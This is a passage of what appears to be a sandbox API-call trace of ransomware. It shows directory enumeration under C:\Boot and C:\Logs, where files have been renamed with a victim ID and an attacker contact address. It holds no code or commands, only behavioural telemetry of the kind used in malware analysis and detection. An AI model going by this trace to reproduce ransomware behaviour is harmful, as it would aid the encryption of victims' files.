	[0167.939] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.939] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.939] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0167.939] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.939] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.940] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.940] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.940] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.940] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.940] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.940] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.940] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0167.940] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4434fd8
	[0167.940] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.940] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.940] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.941] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.941] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.941] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.941] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4434fd8 | out: hHeap=0x610000) returned 1
	[0167.941] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0167.941] FindClose (in: hFindFile=0x6abd98 | out: hFindFile=0x6abd98) returned 1
	[0167.941] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0167.942] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0167.942] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x87224f8c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87224f8c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87224f8c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="BOOTNXT.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTNX~1.HTM")) returned 1
	[0167.943] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x82a78572, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82a78572, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82c1b977, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x20fc, dwReserved0=0x77a40000, dwReserved1=0x0, cFileName="BOOTSECT.BAK.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="BOOTSE~1.HTM")) returned 1
	[0167.943] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0167.943] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0167.943] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="♠g\x16")) returned 0xffffffff
	[0167.943] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0167.943] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0167.943] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0167.943] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.944] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0167.944] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0
	[0167.944] FindClose (in: hFindFile=0x6aba58 | out: hFindFile=0x6aba58) returned 1
	[0167.944] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3df0950 | out: hHeap=0x610000) returned 1
	[0167.944] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xf8074550, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0167.944] FindNextFileW (in: hFindFile=0x6ac118, lpFindFileData=0x350fcf8 | out: lpFindFileData=0x350fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x87867261, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87867261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0167.944] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3df0950
	[0167.944] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x87867261, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87867261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6aba58
	[0167.945] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0x87867261, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87867261, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87224f8c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87224f8c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8724b37b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11104, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="APPLIC~1.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872715a0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x872715a0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872715a0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1110a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="HARDWA~1.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872715a0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x872715a0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872976f8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="INTERN~1.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872bda43, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x872bda43, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x872bda43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1111a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="KEYMAN~1.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87330093, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87330093, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8735619c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~1.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873c8a5a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x873c8a5a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873c8a5a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11180, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~3.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735619c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8735619c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8788d396, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101172, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~2.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873eedf7, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x873eedf7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x873eedf7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MICROS~4.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8762af06, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8762af06, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x877ce94c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI83CE~1.HTM")) returned 1
	[0167.946] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8775c205, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8775c205, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8775c205, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11156, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA635~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8778251d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8778251d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8778251d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11154, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI960D~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8778251d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8778251d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x877a87c1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI35BB~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x877a87c1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x877a87c1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87cdf798, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI50FB~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x877f4b4a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x877f4b4a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87d9e4f2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x111144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2A25~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87840ff0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87840ff0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87840ff0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI522C~1.HTM")) returned 1
	[0167.947] FindNextFileW (in: hFindFile=0x6aba58, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x885fa707, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d115c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI0B0C~1.HTM")) returned 1
